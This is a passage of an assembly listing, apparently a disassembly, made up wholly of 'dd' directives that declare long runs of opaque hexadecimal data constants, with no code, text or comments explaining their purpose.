0EAC5FFBBh, 57108F49h dd 0A4450DEBh, 96215BE7h, 0E98A4C4Ah, 555972E0h, 2940A208h dd 5EF19E75h, 0DB9EA4AEh, 9400141Eh, 7287B4F9h, 8E0A4C0Ch dd 63CA7E82h, 0FEAE9FC8h, 0CAB51374h, 0FB01790Ah, 0E44FC49Ch dd 0A042F546h, 4AED16C0h, 3C486402h, 0F3B26EF5h, 7F2B5E34h dd 6BCF50FBh, 6FA5F952h, 0A7B30A3Fh, 8B90F450h, 0B845CE1Ah dd 0BCBF50FBh, 0A12F88BDh, 282D27C4h, 9DE0FF19h, 9CA44D54h dd 0C9B09581h, 4051F378h, 0AB12111Eh, 91B4550Dh, 0E8C776CFh dd 0E53032D8h, 37A3995Ah, 28A68BBCh, 2250A881h, 0BD3CC9C5h dd 0B756BD82h, 64DCDE78h, 1FE051B6h, 8848C51Fh, 0E259A5E1h dd 46C60D55h, 297877B7h, 0E54D95ECh, 31F12CF4h, 832B21E2h dd 81BCF18Eh, 37EBFFCBh, 0DF537443h, 0F76E4788h, 22B362D3h dd 84996589h, 8B8E4E39h, 3AA3771Eh, 0DBF9CC8Eh, 60604A1Dh dd 0C9432CB7h, 0B59CF8B7h, 0D2FF797Bh, 0E6F8F596h, 5A2C737h dd 2A782B7Ah, 84177A80h, 1EEE35BEh, 5D8106F2h, 5B3B4F81h dd 0C66F175Ah, 0D462F92h, 5F65F4ADh, 0D74CBC49h, 71E0528Eh dd 0AB6AB6D3h, 0B48E103Fh, 0C3D3F885h, 6DDFA626h, 0B36C4119h dd 0C7C5D716h, 0EA8FB507h, 76AC72Ah, 4D5ED82Bh, 8139C674h dd 874D364Dh, 232792F2h, 6245DD11h, 0C5739360h, 0DF76176h dd 22E51695h, 0DFEE71C4h, 7339278Bh, 0FC057ECDh, 100C1614h dd 1D1C6345h, 345F33CDh, 0B2384232h, 4792C5A7h, 43E947DAh dd 226E1FB3h, 0CE1B70C1h, 19550532h, 0A5C5C709h, 0E2E300E1h dd 0D61A0A57h, 6BDBDBB8h, 22E43E11h, 0A683C55Bh, 7091F6D7h dd 811C2F11h, 7B578Ah, 0AED590C5h, 12A7CF00h, 0B52A104h dd 915FB2BBh, 35701408h, 0B6948437h, 0B9F44DCAh, 1961EDFCh dd 0A69E2EB3h, 0E41E2F7h, 0A57B4B14h, 34646DADh, 0B4A50522h dd 0ABD5AF48h, 8E869300h, 7BFEA484h, 1E33C86h, 36CDFD94h dd 10B80914h, 963C8EDDh, 0FFC4C433h, 0E73758B7h, 6CFD93Eh dd 38CE7AD7h, 497ED4CCh, 5A02B215h, 727BDEE2h, 0D246A8BCh dd 9CD29449h, 0FAF963DEh, 0DDCA493Ah, 1CCDB5AFh, 0D1132B16h dd 0BD0B7C3Dh, 15A84291h, 64C59ED8h, 889502E7h, 3C6291AEh dd 48706909h, 3B5553FEh, 0C53C0BF5h, 0D82D848Eh, 0B490A8BFh dd 0BE4079B9h, 31CAC8CCh, 524DC051h, 8A2398F0h, 0DFE1429Eh dd 239AF900h, 1A2545A8h, 7C215E48h, 509BFB87h, 2606F0DFh dd 60E573C8h, 3F3EDC27h, 72ECF9FFh, 7ADD36F6h, 5A82CB05h dd 9034BDF8h, 2A1DFD6Dh, 5547EBA7h, 8EA0FDE9h, 0EAD8DE98h dd 7B2BFA64h, 57A76F7h, 6A5135F5h, 39CE845Fh, 857C1266h dd 3D5C3927h, 0A239DCCAh, 3C7905Bh, 8EFB4247h, 38E18F41h dd 0DB9B492Dh, 1C6AB809h, 6120D089h, 0DB59E96h, 0B0239899h dd 43A80F3Ah, 0A7975F02h, 0DC7B8FFBh, 0ACBE5DA8h, 52B1446Bh dd 93810206h, 88D27038h, 99DACCE3h, 2AE8B410h, 317BBE33h dd 2EBBC201h, 0DB1300F3h, 0E5A2DFE8h, 0C51C41C5h, 0DBB1C992h dd 81D8CF5h, 0C1EDD6F3h, 7BE2C053h, 0C78AD84Ah, 0E7EAD140h dd 0AE8C124Ah, 953EC129h, 0F16FAF42h, 39D68B0Dh, 836C465Dh dd 5EEC1C7Ah, 44FE4B29h, 0CB2E996h, 232439C2h, 0E809CF25h dd 72A00AE9h, 1C246671h dd 0FE3DA37Ch, 0FBED2F8Ah, 0B0517E37h, 362DC471h, 38295CC6h dd 0CD68B952h, 0E2534A73h, 42A9C2CAh, 4D45E506h, 0CBE1C633h dd 0BEFD6F84h, 8C74585Ch, 6E247211h, 733A8F49h, 0DA4ECE1Dh dd 0A9D4C5BBh, 0FC2E3365h, 0A86827EAh, 1E3AE741h, 0D995DD47h dd 0A5F7C0A3h, 0FC2826B8h, 3CA7539Bh, 7AEB33ACh, 77C16DA3h dd 0CEE275EFh, 4C43CD4Eh, 325F0974h, 1B0F6B3Fh, 0FC1EF0A6h dd 0F2EF74D3h, 0BCDFAD8Dh, 0AABB3C2Ah, 2F6F915h, 2A94244Ch dd 513ED146h, 0B74C2709h, 0CDB32615h, 0A87A39D6h, 0D4050C5Dh dd 71615B6Ch, 0B17E6695h, 0CCF7DC57h, 0B8FA19A5h, 49D7CA52h dd 8FDCC47Bh, 13A2D7DEh, 865B345Fh, 0AD5D0649h, 688FF5A1h dd 1351E9C1h, 0EF407E0Bh, 122D016Eh, 69CDE87Fh, 0FD841A88h dd 0EF3FBD76h, 0C46499A4h, 795C69F8h, 244DFB34h, 13A922C1h dd 0D9ECB9CBh, 0BAB22405h, 0F32E6892h, 0B2BA5B35h, 0B25CD229h dd 0BE7D8CBh, 8F4B4237h, 0B0AF21EAh, 69FCF159h, 0FA47F10Ch dd 7EEC2496h, 8C1CDB4h, 84529CA0h, 0C5F7A0B5h, 0E63895DEh dd 0F3BDCA6Fh, 4903A835h, 0C622619Ch, 0FFACB98Fh, 41E61402h dd 94EBA6A7h, 0E2AA08DCh, 0AA209A1Eh, 0FE6C4C7Bh, 5B9B8BC7h dd 5E84A0F9h, 38D0B4B3h, 97B371A5h, 3DA109D0h, 19F23960h dd 301A618Fh, 33D27DD9h, 6528099Dh, 73550139h, 830F36CEh dd 69220FE3h, 0AABE8816h, 0D474ABF6h, 0BAAC6120h, 10266653h dd 0F3F2EADBh, 131F1214h, 67D0415h, 0E9F0AA35h, 76D37A5Ah dd 360050FDh, 13C880A5h, 0D596DFE1h, 9FA8908Fh, 15477CCAh dd 0E65A0055h, 4EF8CBA5h, 3446C32h, 0F05064BCh, 700EF1F8h dd 0FA97EC53h, 5B0CE724h, 35BB1B03h, 0A2A65B2Ch, 17CB4F38h dd 24C0DAD2h, 7811FD90h, 88984889h, 0BA8885h, 0ADDEFA93h dd 0E31CD85Ah, 0C2E3AA19h, 0E6006593h, 890BD052h, 0E5C8330Bh dd 2E1181E6h, 0B3FEA616h, 6EE3232Eh, 4D924CF6h, 40D21899h dd 326DB3BAh, 57D90CF1h, 7633B72Bh, 621427AAh, 0BADC1A60h dd 0F17AF7EFh, 0C6610E2Eh, 5BD4D418h, 6BAEA2BAh, 2765085Ah dd 303EAB40h, 0D14D12B1h, 5E3243EAh, 865BD694h, 7CF58B0Fh dd 0DF57B98Eh, 4996718Eh, 0A0704307h, 8D627F1Eh, 0D862FAA8h dd 5F988A1Ah, 5B9C8D0Ah, 0A5F280Eh, 6DCA9CD6h, 4FDE8181h dd 0AB45A862h, 0AD43A0EAh, 7DDD58BCh, 14B9873Eh, 6E0A275Fh dd 7C58299Eh, 54976AA6h, 7F3E813Bh, 86332A6Ch, 0BF00226h dd 50416ACBh, 0D87C94ECh, 1C741E13h, 0C4C91D5Bh, 251998F7h dd 2A31070Dh, 8303CC60h, 60785085h, 8D17A11Eh, 6BE03754h dd 249E164Eh, 0BAA3D805h, 0D222CCD8h, 17C24BDFh, 26433573h dd 9DE19BAFh, 8A94D0FEh, 8E2641AAh, 0EA4B4262h, 921054F5h dd 9D63AFA0h, 0EC75B37Eh, 4C06C42Eh, 2FA87874h, 9411C85Fh dd 0C67B9432h, 0BA909EB0h, 0CF54650Fh, 8FB78E66h, 78533D9Ch dd 0E8656A08h, 5679E4D6h, 0E21A6658h, 0C5CFC551h, 1324EE72h dd 10AEA854h, 67FAE357h, 223A2C5h, 85920460h, 0A475E1E2h dd 75CED69Bh, 4FF37AC0h, 5F111BFFh, 94C206B2h, 2010F6C6h dd 531D59F1h, 3FD12908h, 418DA5F6h, 0E9565803h, 0DAAA2CE3h dd 3F562FF5h, 29E1B75Ch, 0B04B6CAFh, 73F3B8D0h, 8FA5A411h dd 427A3068h, 973D936Fh, 518539C0h, 0D8247B6Eh, 19CB5CC2h dd 2AD17AE0h, 1E3F0BA3h, 0AE7BF92Eh, 8D2E0014h, 684561A2h dd 659E4F68h, 70AAAEA8h, 93DE5F7h, 0A451702Bh, 740A8911h dd 0BB02C159h, 0B0F661CBh, 790AF061h, 267D8BBFh, 1DA52584h dd 7A568BA3h, 2D9650B6h, 2E2F847Dh, 0DE530D8Fh, 6BF7EBDCh dd 93ECB9AFh, 8D4B4217h, 0EDDD40F7h, 0A614DF1Fh, 0B5B45177h dd 0C07B6D49h, 82B360F4h, 0BD14911Fh, 1DADC289h, 105D0053h dd 329A70F4h, 2E0DB592h, 5FE8B6D6h, 8926A16Ah, 59C1C6Ah dd 10A3672Ah, 7CB20D95h, 67E04Dh, 180C1067h, 0B3520DADh dd 0CC4C5FC4h, 0A154F93Bh, 908672Ah, 6D11A53Eh, 322091E8h dd 0C538E958h, 0AECC030Bh, 9EE869FEh, 9B5DAF8Ah, 0C2A659E5h dd 0CF5C7305h, 0E4D448FCh, 7455722Ah, 15711B61h, 7AAB9AD6h dd 0FDADBC84h, 94DD03EFh, 37727B7Ah, 86C1E101h, 959B58AAh dd 36B3C0DAh, 0DA21AA29h, 0B5DE261h, 0B6F1B924h, 0A2DECA57h dd 1FBC4ADEh, 5A5DC6A1h, 0F9E018DEh, 991E6FA8h, 0D1D296D7h dd 8618D047h, 0C27EE9h, 9CAA2E1Bh, 0D237E34Ch, 30D0A1D5h dd 1FBEC305h, 5E0E334Dh, 0AFC15C19h, 0BD92278Ah, 16BC2BECh dd 1183A448h, 5E295398h, 8F2E9811h, 63213E9Bh, 99166E17h dd 888B400Bh, 4DF6CFCFh, 0BC7A7456h, 0A07A09C2h, 0EFD5D3DBh dd 2527875Ah, 0E1BE6B41h, 7C5A05Eh, 0CDC5D6A6h, 0D3A3789Fh dd 3FAE8EE3h, 8197D782h, 6B20E36h, 0D3BFF6D5h, 30CE1C2Fh dd 73A576C6h, 0D22E517Fh, 2FF8CA80h, 9E88BEB2h, 24FF384Bh dd 81565302h, 79F81A78h, 8BD06F8Ah, 0EF5C8CA9h, 7ADB6841h dd 79B6EBBBh, 7FEB029Fh, 47D7CA3Fh, 0C66E3B88h, 3B7B276Dh dd 0FE490830h, 0DF747FF4h, 0C259F03Bh, 13074B55h, 0F6997D6Dh dd 9E43054Ch, 0CB01CB93h, 0F422E581h, 40A5F9A6h, 2AD13756h dd 5F8F6266h, 685A8670h, 16E5C17Dh, 24FFFF0Fh, 0A0BE3BF8h dd 5EC10F6Bh, 791E2627h, 27994BD0h, 7D799EFEh, 72F1E1E8h dd 7ABBD7DCh, 2AE7605h, 0F3EE37AAh, 96036B16h, 0F3712375h dd 12AFE8DBh, 0B047177Bh, 6D285DCEh, 9E701738h, 575B1238h dd 363DF5E1h, 3CD2317Fh, 0D44F678Dh, 0AF561956h, 4ED887D3h dd 0B48709A4h, 53FC67C5h, 0F2B5122Ah, 0AF0B2B6Eh, 7FC78B3Fh dd 5A8CD181h, 344F4078h, 1B1CB2AAh, 67DB03AFh, 5E76CFADh dd 553ABF31h, 632FC61Dh, 0B3691AAFh, 0B2A6BEB2h, 0ABEFB8BEh dd 0F21FC984h, 0FF96659Ch, 76124083h, 1874C859h, 0BD697211h dd 5B53AB8Bh, 7FA08514h, 0AEBC28C2h, 0D3EAFF84h, 1FFF0AFh dd 0A74325E0h, 35DF7D7Ch, 7BFC51Bh, 0D7B61875h, 9CC76BD1h dd 6AA90109h, 6D3AF8FFh, 0DB591AA0h, 913B01Bh, 91A55E63h dd 0C3C3AA3Bh, 0FD8E325h, 8DDEE397h, 31776251h, 76F0E978h dd 0A2978FE5h, 0E1857CB1h, 1A846F21h, 93FF329Ah, 3790648Ch dd 7D2C8718h, 58A9591Ah, 0B3780370h, 424DB968h, 0F1C7A1E8h dd 54971789h, 0F8153666h, 0E20D053Bh, 9D1C4358h, 0B42904Bh dd 1F57708Bh, 48C96B25h, 0C2D231EBh, 83091699h, 938B10D2h dd 10A3A54Fh, 81F6FAE2h, 0AA188743h, 0F36C35ECh, 71579345h dd 0E5046A9Ch, 0FBBE0A56h, 1EE4414Ah, 0DEAA992Bh, 0F08E3715h dd 0DCF3673Fh, 77F694A4h, 0EE1E71B0h, 326B08FAh, 0E1AC1380h dd 0DDFBA25h, 0A903E081h, 0C5A4C568h, 3D74030Fh, 396820D5h dd 61A421FAh, 810257CAh, 0F570285Eh, 0A04952Dh, 0C0263A86h dd 7AFC0082h, 0CEFB390Fh, 84170B5h, 0D33F0DC0h, 5331CBF0h dd 941994E1h, 9FDED48Ch, 0CDAAE6F9h, 0D59D2701h, 699B0DB0h dd 0A45D8DDh, 4F8E1569h, 0AF6A5CC4h, 95D45500h, 5D6B7061h dd 0A71BAA0Bh, 0FF4F104Bh, 1534E4B6h, 0F087811Dh, 0ED5B47Ah dd 0F2F96C44h, 628E818Ch, 686D3FE9h, 0F45CE509h, 36A48BB7h dd 0A0983E11h, 0D731780Ah, 6F57354Fh, 36CFAB22h, 0E10CCC5Fh dd 0F6828B30h, 0A069B199h, 4F57C42Ah, 29D3B29Bh, 0A214FFB5h dd 2329A107h, 9C5AF726h, 0BD44AB94h, 0B4240380h, 0ABB62A61h dd 6FB82927h, 785EB183h, 3A05E08Ah, 0DF20F543h, 2A1711F5h dd 0C1C5113h, 0B5FDEBABh dd 0C2784087h, 0F42EE7EFh, 0B0DC195Fh, 0CB4D3614h, 0C81409E2h dd 0E82334D1h, 16ED7FB0h, 86096899h, 6372F191h, 100F9EE9h dd 39468CAEh, 5AEB1DFCh, 0B1D167D5h, 9BE9B2D2h, 30B868E1h dd 9BF50E8h, 0F63F706Ch, 5932144Ch, 0F4C3512Bh, 0E9499880h dd 85BE443Ch, 173A4780h, 0BE89FA2Dh, 8288EC4Ch, 1DC55E31h dd 83E3948Dh, 2D9C5426h, 530C4672h, 29B35C7Ah, 69CF0EC8h dd 0FC026F6Bh, 7A8CED3Fh, 7E002682h, 3FCCFAACh, 5114A8B3h dd 0CE70EB5Ah, 0DB5C4A0Bh, 0B93682EBh, 6A7494FEh, 159D6C0Dh dd 0FEF0402Ch, 807762C0h, 0A94743D1h, 863334A2h, 792549B1h dd 1C8E8DA9h, 95203664h, 0F359877Dh, 367DF8FBh, 4CCC1E35h dd 64F057D6h, 0E5C1D264h, 0D3D8C328h, 0B56E5E5Eh, 0B34E972Eh dd 84BB9057h, 800C1BC0h, 0F480DB53h, 4A3E3464h, 37F3B210h dd 0ACD95E25h, 383C8D84h, 74E9C847h, 175C984Fh, 1131D8E9h dd 2C4BB25Ah, 4BDDA8Bh, 0E80DCD79h, 985505Dh, 2F3A427h dd 461A795Bh, 0F5E9AE6Eh, 786D7E79h, 34DF56E2h, 0D8486D02h dd 8CC49851h, 9F3CC4A3h, 3B05DE7Fh, 85A356E7h, 0B427437Ah dd 34EE294Fh, 0F5534CF2h, 8FD7C0A5h, 0A92D2336h, 96793D0Eh dd 119A5F2Fh, 0CD19678Ah, 0B5EE1345h, 48370EA8h, 0B2ECD375h dd 320AD800h, 658AE6AEh, 7D24BA7Eh, 34C437DAh, 373A7338h dd 6F75D5C4h, 1EC82C65h, 8603D5D9h, 0A8647E2Ch, 1E5B8F81h dd 86B59F62h, 493CE78Bh, 8720ED48h, 3D367AB5h, 0A32F852Dh dd 0C148FC87h, 84AA2D65h, 99827E3h, 9926C87Fh, 4AF1C904h dd 26695071h, 26A77C4Ah, 0CA374E86h, 51941B59h, 26EA51ADh dd 80BECD7Fh, 6BC5FB35h, 16656FFFh, 1212432Dh, 7B24E866h dd 0FC09A0EBh, 0E8D59E84h, 0AAACCB33h, 0F021D4F9h, 8AD319BFh dd 0E9C37ED9h, 569A280Eh, 0B899F2AEh, 68EBDE2Fh, 817FFC72h dd 0D221D23Ah, 57D789F6h, 59B5F030h, 0FCFF44E6h, 7716A22Ch dd 995340EFh, 5B942A56h, 3665DFA0h, 0BE16D0A3h, 32BECD2Ch dd 0DF1E4FBFh, 0E7EFD011h, 0E30AA127h, 79CDA55Eh, 0F55D803h dd 3F22F02Ch, 80B6DD4Bh, 4131AD1Dh, 85F93803h, 53690B54h dd 0F87F85EBh, 0DF6B1EE9h, 2BBB8B77h, 518AE3BFh, 0E450CA05h dd 0D5E36F40h, 0E21832CBh, 850B76D5h, 0B3584601h, 4231C62h dd 0BB5E09C9h, 5F79EA23h, 6DAEB53Fh, 23836C6h, 0D7B13AFh dd 23FCBB2Eh, 8140722Ch, 1F689298h, 0B44349D2h, 39550640h dd 32057BB5h, 4B175B25h, 667877FDh, 7953D0C1h, 686B3E77h dd 528B6241h, 7C8D8F6Dh, 2386B9D2h, 912DFC35h, 0A7C34F12h dd 620D62CDh, 0AAB73AD3h, 374537BDh, 0D7A05F2Bh, 40AC0B0Bh dd 9B44958Bh, 0A3CD4F4h, 0EDB7D99Dh, 0AA81091Ch, 92EE4342h dd 0EA5FB3A9h, 95564A05h, 0AA1E9426h, 579881A9h, 0B69891B0h dd 99443897h, 3BB35DCDh, 39CE3C36h, 394ACE4Bh, 8649AA06h dd 0E56D1953h, 6D2AABE5h, 2220497Dh, 6DE23967h, 1C714903h dd 4174118Dh, 0B2B6823h, 0D90094E8h, 838E70F3h, 0BBBC7F1Ch dd 0E0B5FA56h, 375410Eh, 360E7108h, 0B4B90521h, 0E16F749Ah dd 0C088F4CDh, 17461976h, 1CB714A7h, 59638AF5h, 9997B4D4h dd 0CBFA2855h, 4EE8C654h, 0D28D62C4h, 0CF2697C6h, 0AE7CBC8Dh dd 9682C86Bh, 9AF09D75h, 0AFA74269h, 1231EB47h, 0B2EBA5E0h dd 0D28C40B2h, 0FDAC1830h, 69F3D20Dh, 6074E22Ah, 0A348D0C6h dd 9C56E0ADh, 0DCF4CD79h, 0EC04FC6Ah, 0BB10809h, 0E3B55B1Bh dd 4B3A3EC4h, 517F140Ah, 0FBE26873h, 0C7BF4ED6h, 7998764Fh dd 85792794h, 0C416757h, 0F2774BD6h, 0AD15A157h, 0DC59C0C1h dd 0EA2243ADh, 22702A0h, 6C42AB40h, 5F79577Dh, 599A564h dd 0BFAA3E7Ch, 95DF5C43h, 8374CA04h, 0E13DBA1h, 0C4716817h dd 0DA9CBAB6h, 60B07D8Dh, 0EB7A3656h, 0B0DE805Ch, 0C90C5FAAh dd 2C78B44Bh, 80347048h, 0B9705017h, 0BBDA5279h, 7B675E9Ah dd 0FD510989h, 0BF95801h, 8F0EF407h, 4BC9EA8Eh, 2823FFF0h dd 0B9E34B88h, 58207378h, 2A266053h, 0D52D9217h, 0A97802FDh dd 0B560921Eh, 8B10A451h, 45978E68h, 12919522h, 38106BB5h dd 311E1BC3h, 0F38D5395h, 664B38CBh, 82420801h, 9C13DFCFh dd 93086E03h, 0B2B54ADAh, 0C144E04Ah, 0B6FE2304h, 75E02B53h dd 0E0E99A26h, 15D925BFh, 182F737Bh, 99B4C2FBh, 41972EFFh dd 1EFA089Eh, 0D06E1FE7h, 1A68D883h, 0F0ABC446h, 168E7077h dd 3C1A7759h, 0CD6F28D9h, 0A3771793h, 2131E602h, 31967540h dd 5E9F14F2h, 65DDA59h, 20D437D3h, 43C3A1A7h, 0F1370F7Ch dd 0F1B03E7Ch, 0A49174ADh, 0B21A7F0Fh, 8FC441E6h, 544EA928h dd 0D794E2AAh, 75363D42h, 98286713h, 1FF7BEDh, 37D05923h dd 9779217Eh, 85A0B9BDh, 32BBAF15h, 25B30C9Eh, 6FB6843Ch dd 15AA40CEh, 0ACE9D7A8h, 515BD87Fh, 91A83822h, 29A33597h dd 0D0C80604h, 0B188F3E9h, 6271D6DBh, 0A2431D44h, 7C9C2B70h dd 2D7EB6CEh, 0C2B496A2h, 0BEB5611h, 99F4C7E8h, 87772018h dd 80841C33h, 0AA515651h, 4C70C3D0h, 0C7856CA5h, 7968DDC3h dd 0CA5CC052h, 0B04ABE29h, 5C4B0FC2h, 2DF65746h, 0E8B51BEAh dd 0BC7433DFh, 29E047A0h, 903EF7F1h, 277D96C1h, 7098565Bh dd 973EC206h, 15EC1CECh, 0D8C5AE82h, 45901E3h, 0BFDB8555h dd 0B9EA22FBh, 0CA03AD65h, 0BD3C5314h, 3B726BC4h, 18032DFCh dd 168401EEh, 0AB1992BBh, 0EA39F3AFh, 0C171C5E5h, 39568225h dd 658D7990h, 57D64420h, 669D1BB1h, 579D86A8h, 3EC5DAAh dd 9555003Fh, 61EE8BFEh, 0C84CAC73h, 96C57657h, 20FC447h dd 0E631529Bh, 0BAF50AD5h, 0DF761EF9h, 867FFB0Eh, 7BEDAE09h dd 6699F350h, 642CD7C3h, 43D0C75Dh, 0A371E03Bh, 0F64C21D1h dd 0AC865E2h, 97BFA863h, 5D84D969h, 4EEF4029h, 181E3F21h dd 0F184023Ch, 0E694BF40h, 0F598211Bh, 168014F2h, 0BCC14C4Ah dd 0DFBB041Ah, 458872DAh, 0B5B16059h, 168B1F5Ch, 2EA4EF13h dd 8AC564AAh, 98874E63h, 86ED98AAh, 586CF25Ah, 3B707476h dd 0FF737086h, 97CB2067h, 0BB26EA5Ah, 0C73E403Eh, 4CFDFE1h dd 8EB0A708h, 41561CE4h, 8F31396Dh, 96708EE5h, 5DE2E49Ah dd 0EC03FBC1h, 0D2903DCEh, 9D73B674h, 2708CC23h, 2693F24Dh dd 0C6EDE545h, 0E236E2B7h, 0D605E9AAh, 0AEFE550Dh, 38B05AF4h dd 1B98F7F1h, 0EF2C173Bh, 7017DAA6h, 0ECB00175h, 0C3E5F3C8h dd 0E4494728h, 8CBA9A48h, 0E69C6DC0h, 3D178D13h, 3FEB793Dh dd 0B1D394E6h, 50155289h, 6B2D53B0h, 87B5C612h, 4AA12D6Bh dd 53262517h, 0DC077D77h, 41452B44h, 0A42CF4E6h, 6CC5707Bh dd 29E3AC4Ah, 0F7A23499h, 4BE177C1h, 9E94CD07h, 0ADD8DDCFh dd 77EC876Eh, 0D959DBCFh, 0A288F328h, 5BEAD57Ah, 1CF60D09h dd 5A6AA437h, 0A1226743h, 65B51CD8h, 0C50300F2h, 0BAE8DB8Ah dd 50800DC8h, 0D6FE3964h, 0A27AD340h, 0B2A630E8h, 20417E5h dd 17C49667h, 247623DDh, 0E78C1B50h, 52AD1CAEh, 57765968h dd 0E1100A2Dh, 0FCD09E67h, 8677123Bh, 0FF224301h, 9D03AD7Ch dd 9D947E6Ch, 67BEF8A9h, 0F1C87542h, 3FD0294Eh, 591ED4C1h dd 375E5C5h, 84AD774Bh, 911B5C6h, 64A6D95Ah, 0E4CF19A5h dd 3683045Eh, 0CB9DB606h, 0BFC8866h, 0E66EAA47h, 9E974F6Bh dd 4CE831BAh, 92113CB0h, 7295F93h, 4CC9DE25h, 0A6F1E02Bh dd 0E85F185Eh, 69383A6Ah, 73DC91C7h, 3E108F3Eh, 389038EBh dd 0B090E83Eh, 0EFA40B24h dd 16FAED60h, 58F712A8h, 31870B0Eh, 0DA1F8436h, 0DC25E7A6h dd 0DF68DE05h, 0D898E27h, 22FE508Fh, 2E04C0A2h, 0A46C0FFCh dd 9CEB5A63h, 6F4E0C45h, 0E5BDFC6Eh, 0E0CB39DBh, 0A09CFBE4h dd 0C63516E5h, 97D1A227h, 2F3C7227h, 5F099027h, 713CB6AAh dd 87B5BD97h, 2B2A1BF4h, 178BE158h, 0BDA166FDh, 449C862Bh dd 11B0F311h, 77AE29EBh, 0A208234Ch, 73AD8DD6h, 0D1D2104Fh dd 0F25A1568h, 2416D2E1h, 0DD3245D2h, 0B947DB23h, 54C30736h dd 0D873FF35h, 632BA0B9h, 0CC80A1C8h, 33487F0Ch, 3E877D7Dh dd 0BE7E9FE5h, 0D7B6E26Ch, 0AA789B6Eh, 0AC1EC34Dh, 3EB0BBF7h dd 0B3AF7443h, 8A57147Eh, 61B26465h, 95581CF8h, 6030FD58h dd 2C6DA18Fh, 9AECEDBCh, 8E5DB139h, 5A804C95h, 540FDC26h dd 83C6F6D5h, 53AF4C83h, 68B38354h, 3340D84Ch, 0DA6560DFh dd 0E571690h, 4AF809Ah, 7CE90B90h, 0D5B7DA99h, 60C33D0Bh dd 8250CAF3h, 78E68F4Eh, 6557697Dh, 0FF33C04Bh, 0A9A32C15h dd 804CDD71h, 3CA55CDCh, 0C3DC1DBCh, 0D1879907h, 22A22A42h dd 0B4D8FF9Ch, 51B1E89Bh, 6822C79Ah, 626403FAh, 377C262Ah dd 16FD27ACh, 1EA0DB35h, 0F34F60CBh, 1659FE9Dh, 300249F0h dd 0CC4568DDh, 1BE9A7DEh, 9B18F3CAh, 38163874h, 2BEDB9A5h dd 0C33DBF71h, 10029A6Eh, 0F6E71659h, 5EE0A81Ah, 9288D019h dd 76185217h, 0E95E76F8h, 4F207887h, 1638FB26h, 320F6E9h dd 6CEE7225h, 1CBE40EDh, 7DA4DDCh, 1C6E41EBh, 86283599h dd 0B2E93E4Ch, 678EDCC4h, 5A7795C1h, 0FD7E6D25h, 20CCDA99h dd 29D72A6Bh, 0F6DE627Eh, 3B0E25Ah, 3EC97ECEh, 0D927680Dh dd 0EC391319h, 51A0B498h, 445BFCB0h, 8BFFA2A8h, 0B8F8AA68h dd 8990A14Ch, 4C28AE38h, 33E7679h, 487F8184h, 8240380Eh dd 5C200789h, 0CDCA1349h, 63AD31BFh, 0D06FEEh, 8259034Ch dd 0A713A85Eh, 87C121B6h, 1E68BAF7h, 0A6100F17h, 96E92E36h dd 0EF4FF108h, 3C53CE0Eh, 0C13347Dh, 7B95ADE0h, 0AC8D9BFCh dd 0CE2CDF56h, 0A4350447h, 81D64AC0h, 830F6AFCh, 0B19C8B2Eh dd 0A8DBF267h, 0E0783871h, 1F55199h, 784C295Eh, 0F82DD0A0h dd 0ABCEAC80h, 713BFCBh, 2D40828Eh, 9685684Dh, 0B7980840h dd 15EC174Dh, 3B4FEC67h, 4EEEE79Dh, 7B5B1631h, 0D822579Dh dd 91BC3360h, 0DAF46A95h, 0A3B7DED2h, 5AC79D7Eh, 0D1BE3748h dd 63967718h, 205921C3h, 3A957C6Ch, 4857407Dh, 70ABD881h dd 0EFFA800Bh, 7738CFAh, 40A504DAh, 450BB896h, 0C47BF20h dd 36D0488Ch, 6A847716h, 87D3993Bh, 8C89BA69h, 3B0C9CB1h dd 0F9E1BE2h, 44366215h, 786F09C5h, 0A92EB50Ah, 6FCD94A2h dd 15C8E147h, 9D659A6Eh, 40A4337Eh, 76E033D6h, 0A51444C9h dd 775A2A90h, 8E751E80h, 0F8101094h, 24955AA9h, 73759BBCh dd 98B62AEBh, 62D91403h, 391953FFh, 0C129BCAAh, 348A460Bh dd 5B9D9AEAh, 27440F44h, 733CDF8Ah, 8291AFD4h, 5307AA87h dd 78800855h, 0FD071C25h, 708201BEh, 0C28B5B5h, 422FD6F0h dd 4EF328BCh, 5499951h, 0D8F5CE43h, 9450D8EDh, 0A5EAB218h dd 464A9BA3h, 0B1877F08h, 0FEEB22A1h, 2248C5EEh, 65B9EAD8h dd 98EF9569h, 1942A193h, 0EC6B8831h, 96AE9FE1h, 40259828h dd 90B16D0Bh, 0D4DD93A3h, 22F6CEB6h, 49425516h, 0CDA12817h dd 33A8CFA3h, 8B7539F0h, 0C9B7A895h, 595CC6F5h, 22E96C5Ah dd 4F8D16ECh, 390C7894h, 0E5A2B9FCh, 29DEE718h, 0CCFF420h dd 414AFE71h, 0A80E55D6h, 5B830261h, 0EAD2020Ah, 0E8A74D2Ch dd 0ACA213A3h, 67149D5Eh, 3DC4FDE2h, 8C330877h, 0BF21EDBh dd 5D40D64Dh, 0CA879AFBh, 0D4D80256h, 84C889A4h, 72EF5BDCh dd 0CAC8E970h, 0DAEA328h, 0A74A2163h, 0ADDE5422h, 0AD87E1E5h dd 1E933DE8h, 27621870h, 6AE75D4Dh, 3FECCF03h, 876A7C84h dd 6AE935FAh, 90FC5740h, 0D9A42C12h, 9F748776h, 0A25B5B64h dd 4A31E78Fh, 5C07CFF9h, 0B26EC3E3h, 0D3C45BAh, 30AA9ED5h dd 0EB9232F1h, 5525CF0Fh, 0C32DCD23h, 0CB192885h, 979692ADh dd 7035CC98h, 0D6700F2Ch, 0F334B027h, 0C84575Dh, 1919D249h dd 393C9546h, 78C02785h, 0E08A2106h, 0E1269DD5h, 0CD77E462h dd 63843D00h, 72E660ADh, 475B7CDEh, 0DA61744Dh, 7F780B93h dd 5344563Ch, 0F7FE6583h, 2627A54h, 99181CD9h, 11D52AEDh dd 77880833h, 4828DE8Eh, 853D3AA7h, 6D4A6E28h, 0FAD16B80h dd 4E3C2EBFh, 0E187137Bh, 0C41FA494h, 250B8A78h, 72A33E04h dd 0DF129BC1h, 34074C74h, 29D3CE7Dh, 0C7C02C99h, 0CC4C7D7Ch dd 1919E42Bh, 70CD002Ah, 0ED72DC4Ch, 47B30797h, 5E09ED23h dd 6235386Dh, 0B53F58EFh, 36367C20h, 61E1FC1Bh, 10D00A32h dd 393006A4h, 0CEBE0EECh, 190F104Fh, 0AF5C183h, 2875D495h dd 2CE61E36h, 0B2D534E3h, 35898B1Fh, 37421BC9h, 5FF8838Bh dd 0A7E58787h, 0E603C6C4h, 83958908h, 5D366AD5h, 5743A88h dd 22AA5600h, 0BBB5C120h, 0A68B08A1h, 0F9547E14h, 0CC69E622h dd 65A082A9h, 4D222013h, 